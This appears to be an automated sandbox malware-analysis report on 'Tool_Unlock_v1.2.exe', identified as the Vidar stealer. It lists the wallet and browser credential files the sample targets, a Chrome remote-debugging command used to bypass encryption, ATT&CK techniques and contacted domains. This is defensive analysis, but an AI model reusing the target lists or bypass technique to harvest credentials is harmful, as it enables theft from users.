(Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Tool_Unlock_v1.2.exe PID: 6224, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Tool_Unlock_v1.2.exe PID: 6224, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	2 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	211 Process Injection	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	34 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	11 Query Registry	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Tool_Unlock_v1.2.exe	57%	ReversingLabs	Win32.Packed.Generic
Tool_Unlock_v1.2.exe	61%	Virustotal		Browse
Tool_Unlock_v1.2.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://mavidanc.com/#C	0%	Avira URL Cloud	safe
https://mavidanc.com/	0%	Avira URL Cloud	safe
https://nwweek.sbsMOHVK6F	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
nwweek.sbs	116.203.14.4	true	true	unknown
mira-tmc.tm-4.office.com	52.123.243.176	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
t.me	149.154.167.99	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.161.69.30	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
mavidanc.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735447548695&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://t.me/w211et	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Tool_Unlock_v1.2.exe, 00000003.00000002.3286211155.0000000005E11000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr, 0ZC2DB.3.dr, Web Data.10.dr	false		high
https://duckduckgo.com/ac/?q=	Tool_Unlock_v1.2.exe, 00000003.00000002.3286211155.0000000005E11000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr, 0ZC2DB.3.dr, Web Data.10.dr	false		high
https://google-ohttp-relay-join.fastly-edge.com/JO	chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/0	000003.log9.10.dr	false		high
http://anglebug.com/4633	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	Tool_Unlock_v1.2.exe, 00000003.00000002.3289185739.00000000063A8000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, ZMGDJE.3.dr	false		high
https://issuetracker.google.com/284462263	msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.10.dr, Reporting and NEL.11.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.11.dr	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000005.00000003.2224779361.0000313C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224564655.0000313C00ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224678668.0000313C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225538704.0000313C00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225786178.0000313C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224636424.0000313C00FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224658327.0000313C01040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225559696.0000313C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225592376.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.11.dr	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000005.00000003.2223899889.0000313C00F60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.instagram.com	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000005.00000003.2225865189.0000313C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
https://google-ohttp-relay-join.fastly-edge.com/9L	chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.office.com/mail/compose?isExtension=true	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
http://anglebug.com/6929	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://i.y.qq.com/n2/m/index.html	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
https://www.deezer.com/	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
https://issuetracker.google.com/255411748	msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://csp.withgoogle.com/csp/gws/cdt1rj	chrome.exe, 00000005.00000003.2269205516.0000313C01544000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web.telegram.org/	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
